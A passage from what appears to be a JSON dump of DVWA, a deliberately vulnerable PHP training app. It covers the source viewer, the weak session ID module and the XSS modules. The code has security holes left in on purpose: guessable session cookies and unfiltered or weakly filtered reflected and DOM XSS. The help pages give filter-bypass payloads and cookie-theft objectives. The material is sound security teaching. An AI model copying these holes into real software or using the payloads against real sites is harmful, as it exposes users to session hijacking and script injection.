class=\\\"body_padded\\\">\r\n\t\t<h1>{$vuln} Source</h1>\r\n\r\n\t\t<h2>vulnerabilities/{$id}/source/{$security}.php</h2>\r\n\t\t<div id=\\\"code\\\">\r\n\t\t\t<table width='100%' bgcolor='white' style=\\\"border:2px #C0C0C0 solid\\\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td><div id=\\\"code\\\">\" . highlight_string( $source, true ) . \"</div></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t</div>\r\n\t\t{$js_html}\r\n\t\t<br /> <br />\r\n\r\n\t\t<form>\r\n\t\t\t<input type=\\\"button\\\" value=\\\"Compare All Levels\\\" onclick=\\\"window.location.href='view_source_all.php?id=$id'\\\">\r\n\t\t</form>\r\n\t</div>\\n\";\r\n} else {\r\n\t$page['body'] = \"<p>Not found</p>\";\r\n}\r\n\r\ndvwaSourceHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/view_source_all.php",
    "content": "<?php\r\n\r\ndefine('DVWA_WEB_PAGE_TO_ROOT', '../');\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup(array('authenticated'));\r\n\r\n$page = dvwaPageNewGrab();\r\n$page['title'] = 'Source' . $page['title_separator'] . $page['title'];\r\n\r\nif (array_key_exists(\"id\", $_GET)) {\r\n\t$id = $_GET['id'];\r\n\r\n\t$lowsrc = @file_get_contents(\"./{$id}/source/low.php\");\r\n\t$lowsrc = str_replace(array('$html .='), array('echo'), $lowsrc);\r\n\t$lowsrc = highlight_string($lowsrc, true);\r\n\r\n\t$medsrc = @file_get_contents(\"./{$id}/source/medium.php\");\r\n\t$medsrc = str_replace(array('$html .='), array('echo'), $medsrc);\r\n\t$medsrc = highlight_string($medsrc, true);\r\n\r\n\t$highsrc = @file_get_contents(\"./{$id}/source/high.php\");\r\n\t$highsrc = str_replace(array('$html .='), array('echo'), $highsrc);\r\n\t$highsrc = highlight_string($highsrc, true);\r\n\r\n\t$impsrc = @file_get_contents(\"./{$id}/source/impossible.php\");\r\n\t$impsrc = str_replace(array('$html .='), array('echo'), $impsrc);\r\n\t$impsrc = highlight_string($impsrc, true);\r\n\r\n\tswitch ($id) {\r\n\t\tcase \"javascript\":\r\n\t\t\t$vuln = 'JavaScript';\r\n\t\t\tbreak;\r\n\t\tcase \"fi\":\r\n\t\t\t$vuln = 'File Inclusion';\r\n\t\t\tbreak;\r\n\t\tcase \"brute\":\r\n\t\t\t$vuln = 'Brute Force';\r\n\t\t\tbreak;\r\n\t\tcase \"csrf\":\r\n\t\t\t$vuln = 'CSRF';\r\n\t\t\tbreak;\r\n\t\tcase \"exec\":\r\n\t\t\t$vuln = 'Command Injection';\r\n\t\t\tbreak;\r\n\t\tcase \"sqli\":\r\n\t\t\t$vuln = 'SQL Injection';\r\n\t\t\tbreak;\r\n\t\tcase \"sqli_blind\":\r\n\t\t\t$vuln = 'SQL Injection (Blind)';\r\n\t\t\tbreak;\r\n\t\tcase \"upload\":\r\n\t\t\t$vuln = 'File Upload';\r\n\t\t\tbreak;\r\n\t\tcase \"xss_r\":\r\n\t\t\t$vuln = 'Reflected XSS';\r\n\t\t\tbreak;\r\n\t\tcase \"xss_s\":\r\n\t\t\t$vuln = 'Stored XSS';\r\n\t\t\tbreak;\r\n\t\tcase \"weak_id\":\r\n\t\t\t$vuln = 'Weak Session IDs';\r\n\t\t\tbreak;\r\n\t\tcase \"authbypass\":\r\n\t\t\t$vuln = 'Authorisation Bypass';\r\n\t\t\tbreak;\r\n\t\tcase \"open_redirect\":\r\n\t\t\t$vuln = 'Open HTTP Redirect';\r\n\t\t\tbreak;\r\n\t\tcase \"bac\":\r\n\t\t\t$vuln = 'Vulnerability: Broken Access Control';\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\t$vuln = \"Unknown Vulnerability\";\r\n\t}\r\n\r\n\t$page['body'] .= \"\r\n\t<div class=\\\"body_padded\\\">\r\n\t\t<h1>{$vuln}</h1>\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible {$vuln} Source</h3>\r\n\t\t<table width='100%' bgcolor='white' style=\\\"border:2px #C0C0C0 solid\\\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td><div id=\\\"code\\\">{$impsrc}</div></td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<br />\r\n\r\n\t\t<h3>High {$vuln} Source</h3>\r\n\t\t<table width='100%' bgcolor='white' style=\\\"border:2px #C0C0C0 solid\\\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td><div id=\\\"code\\\">{$highsrc}</div></td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium {$vuln} Source</h3>\r\n\t\t<table width='100%' bgcolor='white' style=\\\"border:2px #C0C0C0 solid\\\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td><div id=\\\"code\\\">{$medsrc}</div></td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<br />\r\n\r\n\t\t<h3>Low {$vuln} Source</h3>\r\n\t\t<table width='100%' bgcolor='white' style=\\\"border:2px #C0C0C0 solid\\\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td><div id=\\\"code\\\">{$lowsrc}</div></td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<br /> <br />\r\n\r\n\t\t<form>\r\n\t\t\t<input type=\\\"button\\\" value=\\\"<-- Back\\\" onclick=\\\"history.go(-1);return true;\\\">\r\n\t\t</form>\r\n\r\n\t</div>\\n\";\r\n} else {\r\n\t$page['body'] = \"<p>Not found</p>\";\r\n}\r\n\r\ndvwaSourceHtmlEcho($page);\r\n\r\n?>"
  },
  {
    "path": "vulnerabilities/weak_id/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - Weak Session IDs</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>Knowledge of a session ID is often the only thing required to access a site as a specific user after they have logged in, if that session ID is able to be calculated or easily guessed, then an attacker will have an easy way to gain access to user accounts without having to brute force passwords or find other vulnerabilities such as Cross-Site Scripting.</p>\r\n\r\n\t\t<p><hr /></p>\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>This module uses four different ways to set the dvwaSession cookie value, the objective of each level is to work out how the ID is generated and then infer the IDs of other system users.</p>\r\n\r\n\t\t<p><hr /></p>\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>The cookie value should be very obviously predictable.</p>\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The value looks a little more random than on low but if you collect a few you should start to see a pattern.</p>\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>First work out what format the value is in and then try to work out what is being used as the input to generate the values.</p>\r\n\t\t<p>Extra flags are also being added to the cookie, this does not affect the challenge but highlights extra protections that can be added to protect the cookies.</p>\r\n\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>The cookie value should not be predictable at this level but feel free to try.</p>\r\n\t\t<p>As well as the extra flags, the cookie is being tied to the domain and the path of the challenge.</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema', 'WSTG - Session Management Schema' ); ?></p>\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html', 'OWASP Cheat Sheet - Session Management' ); ?></p>\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/weak_id/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: Weak Session IDs' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'weak_id';\r\n$page[ 'help_button' ]   = 'weak_id';\r\n$page[ 'source_button' ] = 'weak_id';\r\ndvwaDatabaseConnect();\r\n\r\n$method            = 'GET';\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\t$method = 'POST';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/weak_id/source/{$vulnerabilityFile}\";\r\n\r\n\r\n$page[ 'body' ] .= <<<EOF\r\n<div class=\"body_padded\">\r\n\t<h1>Vulnerability: Weak Session IDs</h1>\r\n\t<p>\r\n\t\tThis page will set a new cookie called dvwaSession each time the button is clicked.<br />\r\n\t</p>\r\n\t<form method=\"post\">\r\n\t\t<input type=\"submit\" value=\"Generate\" />\r\n\t</form>\r\n</div>\r\n$html\r\n\r\nEOF;\r\n\r\n/*\r\nMaybe display this, don't think it is needed though\r\nif (isset ($cookie_value)) {\r\n\t$page[ 'body' ] .= <<<EOF\r\n\tThe new cookie value is $cookie_value\r\nEOF;\r\n}\r\n*/\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/weak_id/source/high.php",
    "content": "<?php\r\n\r\n$html = \"\";\r\n\r\nif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\r\n\tif (!isset ($_SESSION['last_session_id_high'])) {\r\n\t\t$_SESSION['last_session_id_high'] = 0;\r\n\t}\r\n\t$_SESSION['last_session_id_high']++;\r\n\t$cookie_value = md5($_SESSION['last_session_id_high']);\r\n\tsetcookie(\"dvwaSession\", $cookie_value, time()+3600, \"/vulnerabilities/weak_id/\", $_SERVER['HTTP_HOST'], false, false);\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/weak_id/source/impossible.php",
    "content": "<?php\r\n\r\n$html = \"\";\r\n\r\nif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\r\n\t$cookie_value = sha1(mt_rand() . time() . \"Impossible\");\r\n\tsetcookie(\"dvwaSession\", $cookie_value, time()+3600, \"/vulnerabilities/weak_id/\", $_SERVER['HTTP_HOST'], true, true);\r\n}\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/weak_id/source/low.php",
    "content": "<?php\r\n\r\n$html = \"\";\r\n\r\nif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\r\n\tif (!isset ($_SESSION['last_session_id'])) {\r\n\t\t$_SESSION['last_session_id'] = 0;\r\n\t}\r\n\t$_SESSION['last_session_id']++;\r\n\t$cookie_value = $_SESSION['last_session_id'];\r\n\tsetcookie(\"dvwaSession\", $cookie_value);\r\n}\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/weak_id/source/medium.php",
    "content": "<?php\r\n\r\n$html = \"\";\r\n\r\nif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\r\n\t$cookie_value = time();\r\n\tsetcookie(\"dvwaSession\", $cookie_value);\r\n}\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_d/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - Cross Site Scripting (DOM Based)</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>\"Cross-Site Scripting (XSS)\" attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites.\r\n\t\t\tXSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script,\r\n\t\t\tto a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application using input from a user in the output,\r\n\t\t\twithout validating or encoding it.</p>\r\n\r\n\t\t<p>An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted,\r\n\t\t\tand will execute the JavaScript. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other\r\n\t\t\tsensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.</p>\r\n\r\n\t\t<p>DOM Based XSS is a special case of reflected where the JavaScript is hidden in the URL and pulled out by JavaScript in the page while it is rendering rather than being embedded in the page when it is served. This can make it stealthier than other attacks and WAFs or other protections which are reading the page body do not see any malicious content.</p>\r\n\r\n\t\t<p><hr /></p>\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Run your own JavaScript in another user's browser, use this to steal the cookie of a logged in user.</p>\r\n\r\n\t\t<p><hr /></p>\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>Low level will not check the requested input, before including it to be used in the output text.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\"><?=htmlentities (\"/vulnerabilities/xss_d/?default=English<script>alert(1)</script>\")?></span>.</pre>\r\n\r\n\t\t<p><br /></p>\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The developer has tried to add a simple pattern matching to remove any references to \"&lt;script\" to disable any JavaScript. Find a way to run JavaScript without using the script tags.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">You must first break out of the select block then you can add an image with an onerror event:<br />\r\n<?=htmlentities (\"/vulnerabilities/xss_d/?default=English>/option></select><img src='x' onerror='alert(1)'>\");?></span>.</pre>\r\n\r\n\t\t<p><br /></p>\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>The developer is now white listing only the allowed languages, you must find a way to run your code without it going to the server.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">The fragment section of a URL (anything after the # symbol) does not get sent to the server and so cannot be blocked. The bad JavaScript being used to render the page reads the content from it when creating the page.<br />\r\n<?=htmlentities (\"/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>\")?></span>.</pre>\r\n\r\n\t\t<p><br /></p>\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>The contents taken from the URL are encoded by default by most browsers which prevents any injected JavaScript from being executed.</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ); ?></p>\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/xss_d/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: DOM Based Cross Site Scripting (XSS)' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'xss_d';\r\n$page[ 'help_button' ]   = 'xss_d';\r\n$page[ 'source_button' ] = 'xss_d';\r\n\r\ndvwaDatabaseConnect();\r\n\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/xss_d/source/{$vulnerabilityFile}\";\r\n\r\n# For the impossible level, don't decode the querystring\r\n$decodeURI = \"decodeURI\";\r\nif ($vulnerabilityFile == 'impossible.php') {\r\n\t$decodeURI = \"\";\r\n}\r\n\r\n$page[ 'body' ] = <<<EOF\r\n<div class=\"body_padded\">\r\n\t<h1>Vulnerability: DOM Based Cross Site Scripting (XSS)</h1>\r\n\r\n\t<div class=\"vulnerable_code_area\">\r\n \r\n \t\t<p>Please choose a language:</p>\r\n\r\n\t\t<form name=\"XSS\" method=\"GET\">\r\n\t\t\t<select name=\"default\">\r\n\t\t\t\t<script>\r\n\t\t\t\t\tif (document.location.href.indexOf(\"default=\") >= 0) {\r\n\t\t\t\t\t\tvar lang = document.location.href.substring(document.location.href.indexOf(\"default=\")+8);\r\n\t\t\t\t\t\tdocument.write(\"<option value='\" + lang + \"'>\" + $decodeURI(lang) + \"</option>\");\r\n\t\t\t\t\t\tdocument.write(\"<option value='' disabled='disabled'>----</option>\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\t    \r\n\t\t\t\t\tdocument.write(\"<option value='English'>English</option>\");\r\n\t\t\t\t\tdocument.write(\"<option value='French'>French</option>\");\r\n\t\t\t\t\tdocument.write(\"<option value='Spanish'>Spanish</option>\");\r\n\t\t\t\t\tdocument.write(\"<option value='German'>German</option>\");\r\n\t\t\t\t</script>\r\n\t\t\t</select>\r\n\t\t\t<input type=\"submit\" value=\"Select\" />\r\n\t\t</form>\r\n\t</div>\r\nEOF;\r\n\r\n$page[ 'body' ] .= \"\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/xss/' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/DOM_Based_XSS' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.acunetix.com/blog/articles/dom-xss-explained/' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_d/source/high.php",
    "content": "<?php\r\n\r\n// Is there any input?\r\nif ( array_key_exists( \"default\", $_GET ) && !is_null ($_GET[ 'default' ]) ) {\r\n\r\n\t# White list the allowable languages\r\n\tswitch ($_GET['default']) {\r\n\t\tcase \"French\":\r\n\t\tcase \"English\":\r\n\t\tcase \"German\":\r\n\t\tcase \"Spanish\":\r\n\t\t\t# ok\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\theader (\"location: ?default=English\");\r\n\t\t\texit;\r\n\t}\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_d/source/impossible.php",
    "content": "<?php\r\n\r\n# Don't need to do anything, protection handled on the client side\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_d/source/low.php",
    "content": "<?php\r\n\r\n# No protections, anything goes\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_d/source/medium.php",
    "content": "<?php\r\n\r\n// Is there any input?\r\nif ( array_key_exists( \"default\", $_GET ) && !is_null ($_GET[ 'default' ]) ) {\r\n\t$default = $_GET['default'];\r\n\t\r\n\t# Do not allow script tags\r\n\tif (stripos ($default, \"<script\") !== false) {\r\n\t\theader (\"location: ?default=English\");\r\n\t\texit;\r\n\t}\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_r/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - Cross Site Scripting (Reflected)</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>\"Cross-Site Scripting (XSS)\" attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites.\r\n\t\t\tXSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script,\r\n\t\t\tto a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application using input from a user in the output,\r\n\t\t\twithout validating or encoding it.</p>\r\n\r\n\t\t<p>An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted,\r\n\t\t\tand will execute the JavaScript. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other\r\n\t\t\tsensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.</p>\r\n\r\n\t\t<p>Because its a reflected XSS, the malicious code is not stored in the remote web application, so requires some social engineering (such as a link via email/chat).</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>One way or another, steal the cookie of a logged in user.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>Low level will not check the requested input, before including it to be used in the output text.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">?name=&lt;script&gt;alert(\"XSS\");&lt;/script&gt;</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The developer has tried to add a simple pattern matching to remove any references to \"&lt;script&gt;\", to disable any JavaScript.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">Its cAse sENSiTiVE</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>The developer now believes they can disable all JavaScript by removing the pattern \"&lt;s*c*r*i*p*t\".</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">HTML events</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>Using inbuilt PHP functions (such as \"<?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.htmlspecialchars.php', 'htmlspecialchars()' ); ?>\"),\r\n\t\t\tits possible to escape any values which would alter the behaviour of the input.</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ); ?></p>\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/xss_r/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: Reflected Cross Site Scripting (XSS)' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'xss_r';\r\n$page[ 'help_button' ]   = 'xss_r';\r\n$page[ 'source_button' ] = 'xss_r';\r\n\r\ndvwaDatabaseConnect();\r\n\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/xss_r/source/{$vulnerabilityFile}\";\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: Reflected Cross Site Scripting (XSS)</h1>\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<form name=\\\"XSS\\\" action=\\\"#\\\" method=\\\"GET\\\">\r\n\t\t\t<p>\r\n\t\t\t\tWhat's your name?\r\n\t\t\t\t<input type=\\\"text\\\" name=\\\"name\\\">\r\n\t\t\t\t<input type=\\\"submit\\\" value=\\\"Submit\\\">\r\n\t\t\t</p>\\n\";\r\n\r\nif( $vulnerabilityFile == 'impossible.php' )\r\n\t$page[ 'body' ] .= \"\t\t\t\" . tokenField();\r\n\r\n$page[ 'body' ] .= \"\r\n\t\t</form>\r\n\t\t{$html}\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/xss/' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/xss-filter-evasion-cheatsheet' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Cross-site_scripting' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.cgisecurity.com/xss-faq.html' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.scriptalert1.com/' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_r/source/high.php",
    "content": "<?php\r\n\r\nheader (\"X-XSS-Protection: 0\");\r\n\r\n// Is there any input?\r\nif( array_key_exists( \"name\", $_GET ) && $_GET[ 'name' ] != NULL ) {\r\n\t// Get input\r\n\t$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );\r\n\r\n\t// Feedback for end user\r\n\t$html .= \"<pre>Hello {$name}</pre>\";\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_r/source/impossible.php",
    "content": "<?php\r\n\r\n// Is there any input?\r\nif( array_key_exists( \"name\", $_GET ) && $_GET[ 'name' ] != NULL ) {\r\n\t// Check Anti-CSRF token\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );\r\n\r\n\t// Get input\r\n\t$name = htmlspecialchars( $_GET[ 'name' ] );\r\n\r\n\t// Feedback for end user\r\n\t$html .= \"<pre>Hello {$name}</pre>\";\r\n}\r\n\r\n// Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_r/source/low.php",
    "content": "<?php\r\n\r\nheader (\"X-XSS-Protection: 0\");\r\n\r\n// Is there any input?\r\nif( array_key_exists( \"name\", $_GET ) && $_GET[ 'name' ] != NULL ) {\r\n\t// Feedback for end user\r\n\t$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_r/source/medium.php",
    "content": "<?php\r\n\r\nheader (\"X-XSS-Protection: 0\");\r\n\r\n// Is there any input?\r\nif( array_key_exists( \"name\", $_GET ) && $_GET[ 'name' ] != NULL ) {\r\n\t// Get input\r\n\t$name = str_replace( '<script>', '', $_GET[ 'name' ] );\r\n\r\n\t// Feedback for end user\r\n\t$html .= \"<pre>Hello {$name}</pre>\";\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/xss_s/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - Cross Site Scripting (Stored)</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<p>\"Cross-Site Scripting (XSS)\" attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites.\r\n\t\t\tXSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script,\r\n\t\t\tto a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application using input from a user in the output,\r\n\t\t\twithout validating or encoding it.</p>\r\n\r\n\t\t<p>An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted,\r\n\t\t\tand will execute the JavaScript. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other\r\n\t\t\tsensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.</p>\r\n\r\n\t\t<p>The XSS is stored in the database. The XSS is permanent, until the database is reset or the payload is manually deleted.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Redirect everyone to a web page of your choosing.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>Low level will not check the requested input, before including it to be used in the output text.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">Either name or message field: &lt;script&gt;alert(\"XSS\");&lt;/script&gt;</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The developer had added some protection, however hasn't done every field the same way.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">name field: &lt;sCriPt&gt;alert(\"XSS\");&lt;/sCriPt&gt;</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>The developer believe they have disabled all script usage by removing the pattern \"&lt;s*c*r*i*p*t\".</p>\r\n\t\t<pre>Spoiler: <span 